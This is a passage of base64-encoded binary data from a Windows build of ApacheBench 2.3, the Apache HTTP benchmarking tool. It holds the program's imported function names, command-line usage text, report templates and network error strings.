uZXhpdADTAF9leGl0AEgAX1hjcHRGaWx0ZXIAZABfX3BfX19pbml0ZW52AFgAX19nZXRtYWluYXJncwAPAV9pbml0dGVybQCDAF9fc2V0dXNlcm1hdGhlcnIAAJ0AX2FkanVzdF9mZGl2AABqAF9fcF9fY29tbW9kZQAAbwBfX3BfX2Ztb2RlAACBAF9fc2V0X2FwcF90eXBlAADKAF9leGNlcHRfaGFuZGxlcjMAALcAX2NvbnRyb2xmcAAAHQNTZXRMYXN0RXJyb3IAAO4ARnJlZUVudmlyb25tZW50U3RyaW5nc1cATwFHZXRFbnZpcm9ubWVudFN0cmluZ3NXAAD1AUdsb2JhbEZyZWUAAAkBR2V0Q29tbWFuZExpbmVXAFYDVGxzQWxsb2MAAFcDVGxzRnJlZQCMAER1cGxpY2F0ZUhhbmRsZQA6AUdldEN1cnJlbnRQcm9jZXNzABoDU2V0SGFuZGxlSW5mb3JtYXRpb24AAC4AQ2xvc2VIYW5kbGUAwAFHZXRTeXN0ZW1UaW1lQXNGaWxlVGltZQC8AEZpbGVUaW1lVG9TeXN0ZW1UaW1lAADYAUdldFRpbWVab25lSW5mb3JtYXRpb24AALsARmlsZVRpbWVUb0xvY2FsRmlsZVRpbWUATgNTeXN0ZW1UaW1lVG9GaWxlVGltZQAATwNTeXN0ZW1UaW1lVG9UelNwZWNpZmljTG9jYWxUaW1lAEkDU2xlZXAA6gBGb3JtYXRNZXNzYWdlQQAAaQFHZXRMYXN0RXJyb3IAAIUDV2FpdEZvclNpbmdsZU9iamVjdABJAENyZWF0ZUV2ZW50QQAALANTZXRTdGRIYW5kbGUAABADU2V0RmlsZVBvaW50ZXIAAE0AQ3JlYXRlRmlsZUEAUABDcmVhdGVGaWxlVwCMAUdldE92ZXJsYXBwZWRSZXN1bHQAgwBEZXZpY2VJb0NvbnRyb2wAWgFHZXRGaWxlSW5mb3JtYXRpb25CeUhhbmRsZQAAUgJMb2NhbEZyZWUAXgFHZXRGaWxlVHlwZQBaAENyZWF0ZU11dGV4QQAAGQJJbml0aWFsaXplQ3JpdGljYWxTZWN0aW9uAHoARGVsZXRlQ3JpdGljYWxTZWN0aW9uAI8ARW50ZXJDcml0aWNhbFNlY3Rpb24AALgCUmVsZWFzZU11dGV4AAALA1NldEV2ZW50AABHAkxlYXZlQ3JpdGljYWxTZWN0aW9uAABRA1Rlcm1pbmF0ZVByb2Nlc3MAAFIBR2V0RXhpdENvZGVQcm9jZXNzAADfAUdldFZlcnNpb25FeEEAmAFHZXRQcm9jQWRkcmVzcwAASAJMb2FkTGlicmFyeUEAAJcDV3JpdGVGaWxlAKsCUmVhZEZpbGUAAIcCUGVla05hbWVkUGlwZQBLRVJORUwzMi5kbGwAAB0AQWxsb2NhdGVBbmRJbml0aWFsaXplU2lkAADhAEZyZWVTaWQAQURWQVBJMzIuZGxsAABXU09DSzMyLmRsbAA5AFdTQVNlbmQANABXU0FSZWN2AFdTMl8zMi5kbGwAAMUBX3N0cm5pY21wAL8BX3N0cmR1cAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAZAAAAAEAAAABAAAAAQAAAAAAAACAw8kBAAAAAOALQQAyAAAAQgAAAEsAAABQAAAAWgAAAF8AAABiAAAAYwAAAGQAAAAlczogQ2Fubm90IHVzZSBjb25jdXJyZW5jeSBsZXZlbCBncmVhdGVyIHRoYW4gdG90YWwgbnVtYmVyIG9mIHJlcXVlc3RzCgAlczogSW52YWxpZCBDb25jdXJyZW5jeSBbUmFuZ2UgMC4uJWRdCgAAJXM6IGludmFsaWQgVVJMCgAAAAAlczogd3JvbmcgbnVtYmVyIG9mIGFyZ3VtZW50cwoAAFVzZXItQWdlbnQ6AEFjY2VwdDoASG9zdDoAAABQcm94eS1BdXRob3JpemF0aW9uOiBCYXNpYyAAUHJveHkgY3JlZGVudGlhbHMgdG9vIGxvbmcKAEF1dGhvcml6YXRpb246IEJhc2ljIAAAAEF1dGhlbnRpY2F0aW9uIGNyZWRlbnRpYWxzIHRvbyBsb25nCgAAAABDb29raWU6IAAAAAANCgAAQ2Fubm90IG1peCBQVVQgYW5kIEhFQUQKAAAAAENhbm5vdCBtaXggUE9TVCBhbmQgSEVBRAoAAABDYW5ub3QgbWl4IFBPU1QvUFVUIGFuZCBIRUFECgAAAEludmFsaWQgbnVtYmVyIG9mIHJlcXVlc3RzCgBuOmM6dDpiOlQ6cDp1OnY6cmtWaHdpeDp5Ono6QzpIOlA6QTpnOlg6ZGU6U3EAAABiZ2NvbG9yPXdoaXRlAAAAVG90YWwgb2YgJWQgcmVxdWVzdHMgY29tcGxldGVkCgAlcwoALi5kb25lCgBGaW5pc2hlZCAlZCByZXF1ZXN0cwoAAABhcHJfc29ja2V0X2Nvbm5lY3QoKQAAAAAKVGVzdCBhYm9ydGVkIGFmdGVyIDEwIGZhaWx1cmVzCgoAAAAKU2VydmVyIHRpbWVkIG91dAoKAGFwcl9wb2xsAAAAAGFwcl9zb2NrYWRkcl9pbmZvX2dldCgpIGZvciAlcwAAZXJyb3IgY3JlYXRpbmcgcmVxdWVzdCBidWZmZXI6IG91dCBvZiBtZW1vcnkKAAAASU5GTzogJXMgaGVhZGVyID09IAotLS0KJXMKLS0tCgBSZXF1ZXN0IHRvbyBsb25nCgAAACVzICVzIEhUVFAvMS4wDQolcyVzJXNDb250ZW50LWxlbmd0aDogJXUNCkNvbnRlbnQtdHlwZTogJXMNCiVzDQoAAAAAUFVUAFBPU1QAAAAAdGV4dC9wbGFpbgAAJXMgJXMgSFRUUC8xLjANCiVzJXMlcyVzDQoAAEhFQUQAAAAAR0VUAENvbm5lY3Rpb246IEtlZXAtQWxpdmUNCgAAAABBY2NlcHQ6ICovKg0KAAAAVXNlci1BZ2VudDogQXBhY2hlQmVuY2gvAAAAADIuMwBIb3N0OiAAAGFwcl9wb2xsc2V0X2NyZWF0ZSBmYWlsZWQAAAAoYmUgcGF0aWVudCklcwAALi4uAAoAAABbdGhyb3VnaCAlczolZF0gAAAAAEJlbmNobWFya2luZyAlcyAAAAAAJXM6ICVzICglZCkKAAAAAFNlbmQgcmVxdWVzdCBmYWlsZWQhCgAAAFNlbmQgcmVxdWVzdCB0aW1lZCBvdXQhCgAAAAAlcwklSTY0ZAklSTY0ZAklSTY0ZAklSTY0ZAklSTY0ZAoAAABzdGFydHRpbWUJc2Vjb25kcwljdGltZQlkdGltZQl0dGltZQl3YWl0CgAAAENhbm5vdCBvcGVuIGdudXBsb3Qgb3V0cHV0IGZpbGUAJWQsJS4zZgoAAAAAUGVyY2VudGFnZSBzZXJ2ZWQsVGltZSBpbiBtcwoAAABDYW5ub3Qgb3BlbiBDU1Ygb3V0cHV0IGZpbGUAdwAAACAgJWQlJSAgJTVJNjRkCgAgMTAwJSUgICU1STY0ZCAobG9uZ2VzdCByZXF1ZXN0KQoAAAAgMCUlICA8MD4gKG5ldmVyKQoAAApQZXJjZW50YWdlIG9mIHRoZSByZXF1ZXN0cyBzZXJ2ZWQgd2l0aGluIGEgY2VydGFpbiB0aW1lIChtcykKAABUb3RhbDogICAgICAlNUk2NGQgJTVJNjRkJTVJNjRkCgAAAABQcm9jZXNzaW5nOiAlNUk2NGQgJTVJNjRkJTVJNjRkCgAAAABDb25uZWN0OiAgICAlNUk2NGQgJTVJNjRkJTVJNjRkCgAAAAAgICAgICAgICAgICAgIG1pbiAgIGF2ZyAgIG1heAoAAFdBUk5JTkc6IFRoZSBtZWRpYW4gYW5kIG1lYW4gZm9yIHRoZSB0b3RhbCB0aW1lIGFyZSBub3Qgd2l0aGluIGEgbm9ybWFsIGRldmlhdGlvbgogICAgICAgIFRoZXNlIHJlc3VsdHMgYXJlIHByb2JhYmx5IG5vdCB0aGF0IHJlbGlhYmxlLgoAAAAAAAAAAEVSUk9SOiBUaGUgbWVkaWFuIGFuZCBtZWFuIGZvciB0aGUgdG90YWwgdGltZSBhcmUgbW9yZSB0aGFuIHR3aWNlIHRoZSBzdGFuZGFyZAogICAgICAgZGV2aWF0aW9uIGFwYXJ0LiBUaGVzZSByZXN1bHRzIGFyZSBOT1QgcmVsaWFibGUuCgBXQVJOSU5HOiBUaGUgbWVkaWFuIGFuZCBtZWFuIGZvciB0aGUgd2FpdGluZyB0aW1lIGFyZSBub3Qgd2l0aGluIGEgbm9ybWFsIGRldmlhdGlvbgogICAgICAgIFRoZXNlIHJlc3VsdHMgYXJlIHByb2JhYmx5IG5vdCB0aGF0IHJlbGlhYmxlLgoAAAAAAABFUlJPUjogVGhlIG1lZGlhbiBhbmQgbWVhbiBmb3IgdGhlIHdhaXRpbmcgdGltZSBhcmUgbW9yZSB0aGFuIHR3aWNlIHRoZSBzdGFuZGFyZAogICAgICAgZGV2aWF0aW9uIGFwYXJ0LiBUaGVzZSByZXN1bHRzIGFyZSBOT1QgcmVsaWFibGUuCgAAAAAAAABXQVJOSU5HOiBUaGUgbWVkaWFuIGFuZCBtZWFuIGZvciB0aGUgcHJvY2Vzc2luZyB0aW1lIGFyZSBub3Qgd2l0aGluIGEgbm9ybWFsIGRldmlhdGlvbgogICAgICAgIFRoZXNlIHJlc3VsdHMgYXJlIHByb2JhYmx5IG5vdCB0aGF0IHJlbGlhYmxlLgoAAABFUlJPUjogVGhlIG1lZGlhbiBhbmQgbWVhbiBmb3IgdGhlIHByb2Nlc3NpbmcgdGltZSBhcmUgbW9yZSB0aGFuIHR3aWNlIHRoZSBzdGFuZGFyZAogICAgICAgZGV2aWF0aW9uIGFwYXJ0LiBUaGVzZSByZXN1bHRzIGFyZSBOT1QgcmVsaWFibGUuCgAAAABXQVJOSU5HOiBUaGUgbWVkaWFuIGFuZCBtZWFuIGZvciB0aGUgaW5pdGlhbCBjb25uZWN0aW9uIHRpbWUgYXJlIG5vdCB3aXRoaW4gYSBub3JtYWwgZGV2aWF0aW9uCiAgICAgICAgVGhlc2UgcmVzdWx0cyBhcmUgcHJvYmFibHkgbm90IHRoYXQgcmVsaWFibGUuCgAAAEVSUk9SOiBUaGUgbWVkaWFuIGFuZCBtZWFuIGZvciB0aGUgaW5pdGlhbCBjb25uZWN0aW9uIHRpbWUgYXJlIG1vcmUgdGhhbiB0d2ljZSB0aGUgc3RhbmRhcmQKICAgICAgIGRldmlhdGlvbiBhcGFydC4gVGhlc2UgcmVzdWx0cyBhcmUgTk9UIHJlbGlhYmxlLgoAAAAAVG90YWw6ICAgICAgJTVJNjRkICU0STY0ZCAlNS4xZiAlNkk2NGQgJTdJNjRkCgAAV2FpdGluZzogICAgJTVJNjRkICU0STY0ZCAlNS4xZiAlNkk2NGQgJTdJNjRkCgAAUHJvY2Vzc2luZzogJTVJNjRkICU0STY0ZCAlNS4xZiAlNkk2NGQgJTdJNjRkCgAAQ29ubmVjdDogICAgJTVJNjRkICU0STY0ZCAlNS4xZiAlNkk2NGQgJTdJNjRkCgAAICAgICAgICAgICAgICBtaW4gIG1lYW5bKy8tc2RdIG1lZGlhbiAgIG1heAoAAAAACkNvbm5lY3Rpb24gVGltZXMgKG1zKQoAICAgICAgICAgICAgICAgICAgICAgICAgJS4yZiBrYi9zIHRvdGFsCgAAAAAgICAgICAgICAgICAgICAgICAgICAgICAlLjJmIGtiL3Mgc2VudAoAVHJhbnNmZXIgcmF0ZTogICAgICAgICAgJS4yZiBbS2J5dGVzL3NlY10gcmV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vbHNwYW49MiAlcz5TZXJ2ZXIgSG9zdG5hbWU6PC90aD48dGQgY29sc3Bhbj0yICVzPiVzPC90ZD48L3RyPgoAAAAAADx0ciAlcz48dGggY29sc3Bhbj0yICVzPlNlcnZlciBTb2Z0d2FyZTo8L3RoPjx0ZCBjb2xzcGFuPTIgJXM+JXM8L3RkPjwvdHI+CgAKCjx0YWJsZSAlcz4KAAAAc29ja2V0IHJlY2VpdmUgYnVmZmVyAAAAc29ja2V0IHNlbmQgYnVmZmVyAABzb2NrZXQgbm9uYmxvY2sAc29ja2V0AABDb21wbGV0ZWQgJWQgcmVxdWVzdHMKAABDb250ZW50LWxlbmd0aDoAQ29udGVudC1MZW5ndGg6AGtlZXAtYWxpdmUAAEtlZXAtQWxpdmUAAExPRzogUmVzcG9uc2UgY29kZSA9ICVzCgAAAABXQVJOSU5HOiBSZXNwb25zZSBjb2RlIG5vdCAyeHggKCVzKQoAAAAANTAwAEhUVFAAAAAAU2VydmVyOgANCg0KAAAAAExPRzogaGVhZGVyIHJlY2VpdmVkOgolcwoAAABhcHJfc29ja2V0X3JlY3YAPC9wPgo8cD4KAAAAIExpY2Vuc2VkIHRvIFRoZSBBcGFjaGUgU29mdHdhcmUgRm91bmRhdGlvbiwgaHR0cDovL3d3dy5hcGFjaGUub3JnLzxicj4KAAAAAAAAAAAgQ29weXJpZ2h0IDE5OTYgQWRhbSBUd2lzcywgWmV1cyBUZWNobm9sb2d5IEx0ZCwgaHR0cDovL3d3dy56ZXVzdGVjaC5uZXQvPGJyPgoAACBUaGlzIGlzIEFwYWNoZUJlbmNoLCBWZXJzaW9uICVzIDxpPiZsdDslcyZndDs8L2k+PGJyPgoAJFJldmlzaW9uOiA2NTU2NTQgJAA8cD4KAAAAAAAAAABMaWNlbnNlZCB0byBUaGUgQXBhY2hlIFNvZnR3YXJlIEZvdW5kYXRpb24sIGh0dHA6Ly93d3cuYXBhY2hlLm9yZy8KAAAAAABDb3B5cmlnaHQgMTk5NiBBZGFtIFR3aXNzLCBaZXVzIFRlY2hub2xvZ3kgTHRkLCBodHRwOi8vd3d3LnpldXN0ZWNoLm5ldC8KAAAAVGhpcyBpcyBBcGFjaGVCZW5jaCwgVmVyc2lvbiAlcwoAAAAAMi4zIDwkUmV2aXNpb246IDY1NTY1NCAkPgAAACAgICAtaCAgICAgICAgICAgICAgRGlzcGxheSB1c2FnZSBpbmZvcm1hdGlvbiAodGhpcyBtZXNzYWdlKQoAAAAgICAgLXIgICAgICAgICAgICAgIERvbid0IGV4aXQgb24gc29ja2V0IHJlY2VpdmUgZXJyb3JzLgoAAAAgICAgLWUgZmlsZW5hbWUgICAgIE91dHB1dCBDU1YgZmlsZSB3aXRoIHBlcmNlbnRhZ2VzIHNlcnZlZAoAAAAAICAgIC1nIGZpbGVuYW1lICAgICBPdXRwdXQgY29sbGVjdGVkIGRhdGEgdG8gZ251cGxvdCBmb3JtYXQgZmlsZS4KAAAAAAAAICAgIC1TICAgICAgICAgICAgICBEbyBub3Qgc2hvdyBjb25maWRlbmNlIGVzdGltYXRvcnMgYW5kIHdhcm5pbmdzLgoAAAAAICAgIC1kICAgICAgICAgICAgICBEbyBub3Qgc2hvdyBwZXJjZW50aWxlcyBzZXJ2ZWQgdGFibGUuCgAAICAgIC1rICAgICAgICAgICAgICBVc2UgSFRUUCBLZWVwQWxpdmUgZmVhdHVyZQoAICAgIC1WICAgICAgICAgICAgICBQcmludCB2ZXJzaW9uIG51bWJlciBhbmQgZXhpdAoAACAgICAtWCBwcm94eTpwb3J0ICAgUHJveHlzZXJ2ZXIgYW5kIHBvcnQgbnVtYmVyIHRvIHVzZQoAICAgIC1QIGF0dHJpYnV0ZSAgICBBZGQgQmFzaWMgUHJveHkgQXV0aGVudGljYXRpb24sIHRoZSBhdHRyaWJ1dGVzCgAAAAAAICAgICAgICAgICAgICAgICAgICBhcmUgYSBjb2xvbiBzZXBhcmF0ZWQgdXNlcm5hbWUgYW5kIHBhc3N3b3JkLgoAAAAAAAAAICAgIC1BIGF0dHJpYnV0ZSAgICBBZGQgQmFzaWMgV1dXIEF1dGhlbnRpY2F0aW9uLCB0aGUgYXR0cmlidXRlcwoAAAAAAAAAICAgICAgICAgICAgICAgICAgICBJbnNlcnRlZCBhZnRlciBhbGwgbm9ybWFsIGhlYWRlciBsaW5lcy4gKHJlcGVhdGFibGUpCgAAAAAAAAAgICAgLUggYXR0cmlidXRlICAgIEFkZCBBcmJpdHJhcnkgaGVhZGVyIGxpbmUsIGVnLiAnQWNjZXB0LUVuY29kaW5nOiBnemlwJwoAAAAAACAgICAtQyBhdHRyaWJ1dGUgICAgQWRkIGNvb2tpZSwgZWcuICdBcGFjaGU9MTIzNC4gKHJlcGVhdGFibGUpCgAgICAgLXogYXR0cmlidXRlcyAgIFN0cmluZyB0byBpbnNlcnQgYXMgdGQgb3IgdGggYXR0cmlidXRlcwoAAAAAICAgIC15IGF0dHJpYnV0ZXMgICBTdHJpbmcgdG8gaW5zZXJ0IGFzIHRyIGF0dHJpYnV0ZXMKAAAgICAgLXggYXR0cmlidXRlcyAgIFN0cmluZyB0byBpbnNlcnQgYXMgdGFibGUgYXR0cmlidXRlcwoAAAAgICAgLWkgICAgICAgICAgICAgIFVzZSBIRUFEIGluc3RlYWQgb2YgR0VUCgAAAAAgICAgLXcgICAgICAgICAgICAgIFByaW50IG91dCByZXN1bHRzIGluIEhUTUwgdGFibGVzCgAAACAgICAtdiB2ZXJib3NpdHkgICAgSG93IG11Y2ggdHJvdWJsZXNob290aW5nIGluZm8gdG8gcHJpbnQKACAgICAgICAgICAgICAgICAgICAgRGVmYXVsdCBpcyAndGV4dC9wbGFpbicKAAAAACAgICAgICAgICAgICAgICAgICAgJ2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCcKAAAAACAgICAtVCBjb250ZW50LXR5cGUgQ29udGVudC10eXBlIGhlYWRlciBmb3IgUE9TVGluZywgZWcuCgAAACAgICAtdSBwdXRmaWxlICAgICAgRmlsZSBjb250YWluaW5nIGRhdGEgdG8gUFVULiBSZW1lbWJlciBhbHNvIHRvIHNldCAtVAoAAAAAAAAAICAgIC1wIHBvc3RmaWxlICAgICBGaWxlIGNvbnRhaW5pbmcgZGF0YSB0byBQT1NULiBSZW1lbWJlciBhbHNvIHRvIHNldCAtVAoAACAgICAtYiB3aW5kb3dzaXplICAgU2l6ZSBvZiBUQ1Agc2VuZC9yZWNlaXZlIGJ1ZmZlciwgaW4gYnl0ZXMKAAAgICAgLXQgdGltZWxpbWl0ICAgIFNlY29uZHMgdG8gbWF4LiB3YWl0IGZvciByZXNwb25zZXMKACAgICAtYyBjb25jdXJyZW5jeSAgTnVtYmVyIG9mIG11bHRpcGxlIHJlcXVlc3RzIHRvIG1ha2UKAAAAACAgICAtbiByZXF1ZXN0cyAgICAgTnVtYmVyIG9mIHJlcXVlc3RzIHRvIHBlcmZvcm0KAABPcHRpb25zIGFyZToKAAAAVXNhZ2U6ICVzIFtvcHRpb25zXSBbaHR0cDovL11ob3N0bmFtZVs6cG9ydF0vcGF0aAoAADolZABTU0wgbm90IGNvbXBpbGVkIGluOyBubyBodHRwcyBzdXBwb3J0CgAAaHR0cHM6Ly8AAAAAWyVzXQAAAABodHRwOi8vAGFiOiBDb3VsZCBub3QgcmVhZCBQT1NUIGRhdGEgZmlsZTogJXMKAABhYjogQ291bGQgbm90IGFsbG9jYXRlIFBPU1QgZGF0YSBidWZmZXIKAAAAAGFiOiBDb3VsZCBub3Qgc3RhdCBQT1NUIGRhdGEgZmlsZSAoJXMpOiAlcwoAYWI6IENvdWxkIG5vdCBvcGVuIFBPU1QgZGF0YSBmaWxlICglcyk6ICVzCgBhcHJfZ2xvYmFsX3Bvb2wAJWQuJWQlYwAqKioqAAAAACUzZCVjAAAAJTNkIAAAAAAgIC0gAAAAAEtNR1RQRQAAJXM6IGlsbGVnYWwgb3B0aW9uIC0tICVjCgAAACVzOiBvcHRpb24gcmVxdWlyZXMgYW4gYXJndW1lbnQgLS0gJWMKAABDb21tYW5kTGluZVRvQXJndlcAAGFwcl9pbml0aWFsaXplAAAwMTIzNDU2Nzg5LgAwLjAuMC4wAGJvZ3VzICVwAAAAAEk2NGQAAAAATm8gaG9zdCBkYXRhIG9mIHRoYXQgdHlwZSB3YXMgZm91bmQASG9zdCBub3QgZm91bmQAAEdyYWNlZnVsIHNodXRkb3duIGluIHByb2dyZXNzAAAAV1NBU3RhcnR1cCBub3QgeWV0IGNhbGxlZAAAAFdpbnNvY2sgdmVyc2lvbiBvdXQgb2YgcmFuZ2UAAAAATmV0d29yayBzeXN0ZW0gaXMgdW5hdmFpbGFibGUAAABUb28gbWFueSBsZXZlbHMgb2YgcmVtb3RlIGluIHBhdGgAAABTdGFsZSBORlMgZmlsZSBoYW5kbGUAAABEaXNjIHF1b3RhIGV4Y2VlZGVkAFRvbyBtYW55IHVzZXJzAABUb28gbWFueSBwcm9jZXNzZXMAAERpcmVjdG9yeSBub3QgZW1wdHkATm8gcm91dGUgdG8gaG9zdAAAAABIb3N0IGlzIGRvd24AAAAARmlsZSBuYW1lIHRvbyBsb25nAABUb28gbWFueSBsZXZlbHMgb2Ygc3ltYm9saWMgbGlua3MAAABDb25uZWN0aW9uIHJlZnVzZWQAAENvbm5lY3Rpb24gdGltZWQgb3V0AAAAAFRvbyBtYW55IHJlZmVyZW5jZXMsIGNhbid0IHNwbGljZQAAAENhbid0IHNlbmQgYWZ0ZXIgc29ja2V0IHNodXRkb3duAAAAAFNvY2tldCBpcyBub3QgY29ubmVjdGVkAFNvY2tldCBpcyBhbHJlYWR5IGNvbm5lY3RlZABObyBidWZmZXIgc3BhY2UgYXZhaWxhYmxlAAAAQ29ubmVjdGlvbiByZXNldCBieSBwZWVyAAAAAFNvZnR3YXJlIGNhdXNlZCBjb25uZWN0aW9uIGFib3J0AAAAAE5ldCBjb25uZWN0aW9uIHJlc2V0AAAAAE5ldHdvcmsgaXMgdW5yZWFjaGFibGUAAE5ldHdvcmsgaXMgZG93bgBDYW4ndCBhc3NpZ24gcmVxdWVzdGVkIGFkZHJlc3MAAEFkZHJlc3MgYWxyZWFkeSBpbiB1c2UAAEFkZHJlc3MgZmFtaWx5IG5vdCBzdXBwb3J0ZWQAAAAAUHJvdG9jb2wgZmFtaWx5IG5vdCBzdXBwb3J0ZWQAAABPcGVyYXRpb24gbm90IHN1cHBvcnRlZCBvbiBzb2NrZXQAAABTb2NrZXQgdHlwZSBub3Qgc3VwcG9ydGVkAAAAUHJvdG9jb2wgbm90IHN1cHBvcnRlZAAAQmFkIHByb3RvY29sIG9wdGlvbgBQcm90b2NvbCB3cm9uZyB0eXBlIGZvciBzb2NrZXQAAE1lc3NhZ2UgdG9vIGxvbmcAAAAARGVzdGluYXRpb24gYWRkcmVzcyByZXF1aXJlZAAAAABTb2NrZXQgb3BlcmF0aW9uIG9uIG5vbi1zb2NrZXQAAE9wZXJhdGlvbiBhbHJlYWR5IGluIHByb2dyZXNzAAAAT3BlcmF0aW9uIG5vdyBpbiBwcm9ncmVzcwAAAE9wZXJhdGlvbiB3b3VsZCBibG9jawAAAFRvbyBtYW55IG9wZW4gc29ja2V0cwAAAEludmFsaWQgYXJndW1lbnQAAAAAQmFkIGFkZHJlc3MAUGVybWlzc2lvbiBkZW5pZWQAAABCYWQgZmlsZSBudW1iZXIASW50ZXJydXB0ZWQgc3lzdGVtIGNhbGwAQVBSIGRvZXMgbm